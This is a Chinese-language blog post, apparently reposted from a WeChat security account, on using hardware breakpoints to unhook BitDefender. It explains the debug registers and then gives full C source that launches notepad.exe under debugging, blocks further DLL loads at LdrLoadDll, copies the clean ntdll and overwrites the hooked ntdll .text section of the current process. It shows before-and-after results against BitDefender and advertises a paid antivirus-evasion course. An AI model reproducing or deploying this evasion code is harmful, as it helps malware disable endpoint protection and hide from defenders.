利用硬件断点来Unhook BitDefender

admin 2025年2月9日00:54:19评论8 views字数 12203阅读40分40秒阅读模式
简介

我们首先来了解一软件断点,软件断点其实就是在目标地址上注入一个int 3指令,也就是0xCC操作码。那么当CPU执行到该地址时会引发异常。通常是EXCEPTION_BREAKPOINT。最后异常处理器捕获到异常,暂停程序执行并运行调试器进行相应的操作。

如下图:

利用硬件断点来Unhook BitDefender

软件断点很简单,主要是硬件断点,x86x64架构提供了一组寄存器用于硬件断点的设置和控制。首先是DR0-DR3寄存器,这四个寄存器是用于存储断点的地址,当这些地址被访问时,会触发断点异常。DR6寄存器用于存储断点的状态,DR7寄存器用于配置和启动硬件断点,每个断点都有两位,用于启动和禁用。

硬件断点设置的类型:

  1. 执行断点: 在指定地址执行指令时触发。

  2. 写断点: 在指定地址写入数据时触发。

  3. 读写断点: 在指定地址读写或写入数据时触发。

那么这意味着当处理器执行程序时,会检查当前指令或内存访问是否匹配DR0-DR3中的地址,如果匹配,则检查DR7寄存器中的配置,如果启用了相应的断点且条件满足的话,处理器会触发一个异常,该异常名为EXCEPTION_SINGLE_STEP,最后暂停执行并通知调试器。

硬件断点挂钩工作原理

当程序执行到硬件断点的地址时,CPU触发EXCEPTION_SINGLE_STEP异常,暂停当前执行,CPU将控制权交给事先注册好的异常处理程序。该异常处理程序负责拦截断点异常,拦截之后,不会再去执行原函数,而且调用预先定义好的自定义函数,自定义函数执行完毕之后,异常处理程序可以选择恢复原函数执行或跳过执行。

DR7寄存器

DR7寄存器用于配置和控制硬件断点的行为,DR7包含多个字段,这些字段用于启用或禁用断点以及设置断点的条件和类型。

DR7寄存器有32位:

0 L0 局部断点 0 使能标志。如果设置,则启用 Dr0 中的断点。
1 G0 全局断点 0 使能标志。如果设置,则启用 Dr0 中的断点。
2 L1 局部断点 1 使能标志。如果设置,则启用 Dr1 中的断点。
3 G1 全局断点 1 使能标志。如果设置,则启用 Dr1 中的断点。
4 L2 局部断点 2 使能标志。如果设置,则启用 Dr2 中的断点。
5 G2 全局断点 2 使能标志。如果设置,则启用 Dr2 中的断点。
6 L3 局部断点 3 使能标志。如果设置,则启用 Dr3 中的断点。
7 G3 全局断点 3 使能标志。如果设置,则启用 Dr3 中的断点。
8-15 LE, GE, Reserved 保留位
16-17 RW0 断点 0 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。
18-19 LEN0 断点 0 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。
20-21 RW1 断点 1 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。
22-23 LEN1 断点 1 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。
24-25 RW2 断点 2 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。
26-27 LEN2 断点 2 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。
28-29 RW3 断点 3 的访问类型(00: 执行,01: 写入,10: IO 读取,11: 保留)。
30-31 LEN3 断点 3 的长度(00: 1 字节,01: 2 字节,10: 8 字节,11: 4 字节)。
启用 Dr0 中的硬件断点:将 G0 标志设置为 1。启用 Dr1 中的硬件断点:将 G1 标志设置为 1。启用 Dr2 中的硬件断点:将 G2 标志设置为 1。启用 Dr3 中的硬件断点:将 G3 标志设置为 1。

至于G0L0的区别在于一个是全局一个是局部。局部断点仅在当前线程或进程中有作用,如果任务谢欢,则局部断点会被清除。

  1. 需要注意的是硬件断点值针对于每个线程来独立设置的,意味着每一个线程可以独立设置和管理他们的硬件断点。

  2. 硬件断点依赖于特定的调试寄存器来存储断点地址。每一个线程都有自己的这些寄存器(DR0 DR1 DR2 DR3),每个线程最多只能同时安装4个硬件断点。

  3. 使用GetThreadContext函数以及SetThreadContext函数来设置和移除硬件断点。

我们来简单整理一下思路,本质上其实就是首先注册异常处理程序,通过获取线程上下文来设置硬件断点,主要设置DR0-DR3以及DR7寄存器。设置为目标函数地址(例如MessageBox)之后,当调用MessageBox函数时就会触发硬件断点,在异常处理函数中去判断是否是EXCEPTION_SINGLE_STEP异常代码,如果是,继续判断设置的地址是否和DR0-DR3寄存器中的地址一样。如果一样,则移除硬件断点,也就是将DR7寄存器设置为0x0,如果不移除硬件断点则会导致无限循环。最后调用自定义Hook函数。

那么我们就可以通过硬件断点来尝试规避EDR。我们可以在调试模式下创建一个新的进程,并在LdrLoadDll函数设置硬件断点,使其仅加载Ntdll.dll

  1. 进程创建时ntdll.dll 会自动加载,但通常还会加载其他 DLL 文件。

  2. 通过 在 LdrLoadDLL 处设置断点,可以拦截 DLL 加载,确保进程仅加载 ntdll.dll,而不会加载其他 DLL。

  3. 这样,ntdll.dll 处于一个“干净”(未被挂钩)的状态,不会受到任何外部钩子的影响。

  4. 攻击者可以将该干净的 ntdll 内存复制到现有进程,从而移除所有先前被挂钩的系统调用(syscalls)。

我的理解是首先创建一个调试的进程,然后通过GetModuleHandle函数获取到Ntdll.dll模块的基地址,通过GetProcAddress函数来获取到LdrLoadDll函数的基地址。那么创建调试的这个进程的函数,返回值将为PROCESS_INFORMATION

通过该返回值中的hThread字段可以获取到该调试进程的线程。那么拿到了调试进程的线程之后,就可以通过SetHwBp函数对其设置硬件断点,该断点是设置在调试进程的线程上的。

我们来看一下如下代码:

#include <windows.h>#include <stdio.h>// 获取模块基地址// 修正后的 createProcessInDebug 函数 (C 版本)PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {    STARTUPINFOW si;    PROCESS_INFORMATION pi;    // 初始化结构体    memset(&si, 0, sizeof(si));    si.cb = sizeof(si);    memset(&pi, 0, sizeof(pi));    // 复制 processName 到可修改的缓冲区    wchar_t commandLine[MAX_PATH];    wcscpy_s(commandLine, MAX_PATH, processName);    // 创建调试进程    BOOL success = CreateProcessW(        NULL,              // 应用程序名称 (NULL 表示使用 commandLine)        commandLine,       // 命令行缓冲区        NULL,              // 进程安全属性        NULL,              // 线程安全属性        FALSE,             // 句柄继承标志        DEBUG_PROCESS,     // 进程创建标志 (调试模式)        NULL,              // 进程环境        NULL,              // 当前目录        &si,               // STARTUPINFO 结构体        &pi                // PROCESS_INFORMATION 结构体    );    // 如果创建失败,输出错误信息    if (!success) {        fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());    }    return pi;}VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {CONTEXT ctx = { 0 };ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;ctx.Dr0 = address;ctx.Dr7 = 0x00000001;SetThreadContext(hThread, &ctx);DEBUG_EVENT dbgEvent;while (1) {if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) {break;}if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {CONTEXT newCtx = { 0 };newCtx.ContextFlags = CONTEXT_ALL;GetThreadContext(hThread, &newCtx);if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;newCtx.EFlags != (1 << 8);return;}else {newCtx.Dr0 = address;newCtx.Dr7 = 0x000000001;newCtx.EFlags &= ~(1 << 8);}SetThreadContext(hThread, &newCtx);}ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);}}int main() {HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");    const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";    // 调用 createProcessInDebug    PROCESS_INFORMATION pi = createProcessInDebug(processPath);    SetHwBp(ldrLoadBase, pi.hThread);}

这里主要解释一下SetHwBp函数,该函数接收LdrLoadDll函数的地址以及调试线程。首先通过SetThreadContext来更新线程上下文,这里设置了DR0DR7寄存器,DR0寄存器中存储硬件断点的地址,DR7寄存器设置为1表示启用硬件断点。

下面是一个无限循环,通过WaitForDebugEvent函数等待调试事件。当接收到事件时,判断该事件是否是当一个新的进程被创建时(CREATE_PROCESS_DEBUG_EVENT)并且是否是异常导致的事件,事件类型为EXCEPTION_SINGLE_STEP。如果是的话,通过GetThreadContext函数来填充newCtx新的Context结构。判断异常断点的地址是否和LdrLoadDll函数的地址一致,如果一致则清除DR0 DR6 DR7寄存器,并且不返回任何内容,这样做的原因是为了阻止LdrLoadDll加载其他的DLL文件。

那么我们在想如果没有硬件断点的话,是否notepad.exe会加载所有的dll文件吗?

如下代码:

#include <windows.h>#include <stdio.h>// 获取模块基地址// 修正后的 createProcessInDebug 函数 (C 版本)PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {    STARTUPINFOW si;    PROCESS_INFORMATION pi;    // 初始化结构体    memset(&si, 0, sizeof(si));    si.cb = sizeof(si);    memset(&pi, 0, sizeof(pi));    // 复制 processName 到可修改的缓冲区    wchar_t commandLine[MAX_PATH];    wcscpy_s(commandLine, MAX_PATH, processName);    // 创建调试进程    BOOL success = CreateProcessW(        NULL,              // 应用程序名称 (NULL 表示使用 commandLine)        commandLine,       // 命令行缓冲区        NULL,              // 进程安全属性        NULL,              // 线程安全属性        FALSE,             // 句柄继承标志        DEBUG_PROCESS,     // 进程创建标志 (调试模式)        NULL,              // 进程环境        NULL,              // 当前目录        &si,               // STARTUPINFO 结构体        &pi                // PROCESS_INFORMATION 结构体    );    // 如果创建失败,输出错误信息    if (!success) {        fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());    }    return pi;}VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {DEBUG_EVENT dbgEvent;    while (WaitForDebugEvent(&dbgEvent, INFINITE)) {        // 处理调试事件        ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);    }}int main() {HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");    const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";    // 调用 createProcessInDebug    PROCESS_INFORMATION pi = createProcessInDebug(processPath);//CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };//GetThreadContext(pi.hThread, &ThreadCtx);    SetHwBp(ldrLoadBase, pi.hThread);//ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId, DBG_CONTINUE);getchar();}

如下图中可以看到成功加载。

利用硬件断点来Unhook BitDefender

那么最后其实就是将其覆盖.text部分了。

如下完整代码:

#include <windows.h>#include <stdio.h>#include <winternl.h>// 获取模块基地址// 修正后的 createProcessInDebug 函数 (C 版本)PROCESS_INFORMATION createProcessInDebug(const wchar_t* processName) {    STARTUPINFOW si;    PROCESS_INFORMATION pi;    // 初始化结构体    memset(&si, 0, sizeof(si));    si.cb = sizeof(si);    memset(&pi, 0, sizeof(pi));    // 复制 processName 到可修改的缓冲区    wchar_t commandLine[MAX_PATH];    wcscpy_s(commandLine, MAX_PATH, processName);    // 创建调试进程    BOOL success = CreateProcessW(        NULL,              // 应用程序名称 (NULL 表示使用 commandLine)        commandLine,       // 命令行缓冲区        NULL,              // 进程安全属性        NULL,              // 线程安全属性        FALSE,             // 句柄继承标志        DEBUG_PROCESS,     // 进程创建标志 (调试模式)        NULL,              // 进程环境        NULL,              // 当前目录        &si,               // STARTUPINFO 结构体        &pi                // PROCESS_INFORMATION 结构体    );    // 如果创建失败,输出错误信息    if (!success) {        fwprintf(stderr, L"CreateProcessW 失败,错误代码: %lun", GetLastError());    }    return pi;}VOID SetHwBp(DWORD_PTR address, HANDLE hThread) {    CONTEXT ctx = { 0 };    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;    ctx.Dr0 = address;    ctx.Dr7 = 0x00000001;    SetThreadContext(hThread, &ctx);    DEBUG_EVENT dbgEvent;    while (1) {        if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) {            break;        }        if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {            CONTEXT newCtx = { 0 };            newCtx.ContextFlags = CONTEXT_ALL;            GetThreadContext(hThread, &newCtx);            if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {                newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;                newCtx.EFlags != (1 << 8);                return;            }            else {                newCtx.Dr0 = address;                newCtx.Dr7 = 0x000000001;                newCtx.EFlags &= ~(1 << 8);            }            SetThreadContext(hThread, &newCtx);        }        ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);    }}typedef NTSTATUS(NTAPI* pNtReadVirtualMemory)(    HANDLE ProcessHandle,    PVOID BaseAddress,    PVOID Buffer,    ULONG Length,    PULONG ReturnLength    );PVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64    // 在 64 位系统中,通过 __readgsqword 获取 PEB 地址    PPEB pPeb = (PPEB)__readgsqword(0x60);#elif _WIN32    // 在 32 位系统中,通过 __readfsdword 获取 PEB 地址    PPEB pPeb = (PPEB)__readfsdword(0x30);#endif // _WIN64    // 通过 PEB 获取到当前进程的模块信息    // 我们知道 'ntdll.dll' 是在 'SuspendedProcessUnhooking.exe' 之后的第二个映像    // 0x10 是 LIST_ENTRY 结构体的大小    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);    // 返回 ntdll.dll 模块的基地址    return pLdr->DllBase;}BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {    // 获取当前进程中 ntdll.dll 的基地址    PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();    // 获取 DOS 头    PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;    if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) // 检查 DOS 签名        return FALSE;    // 获取 NT 头    PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) // 检查 NT 签名        return FALSE;    // 定义指针和变量    PVOID pLocalNtdllTxt = NULL;  // 本地 ntdll.dll 的 `.text` 段基地址    PVOID pRemoteNtdllTxt = NULL; // 未挂钩的 ntdll.dll 的 `.text` 段基地址    SIZE_T sNtdllTxtSize = NULL;  // `.text` 段的大小    // 获取 `.text` 段    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {        // 判断当前段是否是 `.text` 段(段名比较)        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {            // 计算本地和远程 ntdll.dll 的 `.text` 段基地址            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize; // 获取 `.text` 段大小            break;        }    }    //------------------------------------------------------------------------------------------------------------------------    // 检查是否成功获取到 `.text` 段的所有必要信息    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)        return FALSE;    // 检查 `pRemoteNtdllTxt` 是否确实是 `.text` 段的基地址    if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)        return FALSE;    //------------------------------------------------------------------------------------------------------------------------    DWORD dwOldProtection = NULL;    // 修改 `.text` 段的内存保护属性为可写和可执行    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {        printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());        return FALSE;    }    // 复制未挂钩的 `.text` 段内容到本地的 `.text` 段    memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);    // 恢复 `.text` 段的原内存保护属性    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {        printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());        return FALSE;    }    return TRUE; // 替换成功}VOID CopyNtdllFromDebugProcess(HANDLE hProc,DWORD pid) {    HMODULE kernel32base = GetModuleHandleA("kernel32.dll");    HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");    pNtReadVirtualMemory preadvir = (pNtReadVirtualMemory)GetProcAddress(ntdllbase, "NtReadVirtualMemory");    // 获取 ntdll.dll 的 DOS 头和 NT 头    PIMAGE_DOS_HEADER imagedosheader = (PIMAGE_DOS_HEADER)ntdllbase;    PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)ntdllbase + imagedosheader->e_lfanew);    // 获取 optional header    IMAGE_OPTIONAL_HEADER OpHeader = ntHeader->OptionalHeader;    // 获取 ntdll.dll 的大小    DWORD ntdllsize = OpHeader.SizeOfImage;    PBYTE freshNtdll = (PBYTE)malloc(ntdllsize);    NTSTATUS status = preadvir(hProc, (PVOID)ntdllbase, freshNtdll, ntdllsize, 0);    //终止进程    DebugActiveProcessStop(pid);    TerminateProcess(hProc, 0);    ReplaceNtdllTxtSection(freshNtdll);}int main() {    HMODULE ntdllbase = GetModuleHandleA("ntdll.dll");    PVOID ldrLoadBase = GetProcAddress(ntdllbase, "LdrLoadDll");    const wchar_t* processPath = L"C:\Windows\System32\notepad.exe";    // 调用 createProcessInDebug    PROCESS_INFORMATION pi = createProcessInDebug(processPath);    SetHwBp(ldrLoadBase, pi.hThread);    CopyNtdllFromDebugProcess(pi.hProcess,pi.dwProcessId);    getchar();}
BitDefender测试如下:
没有Unhook之前:
利用硬件断点来Unhook BitDefender
UnHook之后:
利用硬件断点来Unhook BitDefender

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新103+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》

加好友备注(星球)!!!

利用硬件断点来Unhook BitDefender
一些纷传的资源:
利用硬件断点来Unhook BitDefender
利用硬件断点来Unhook BitDefender
利用硬件断点来Unhook BitDefender

原文始发于微信公众号(Relay学安全):利用硬件断点来Unhook BitDefender

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日00:54:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用硬件断点来Unhook BitDefenderhttps://cn-sec.com/archives/3715928.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息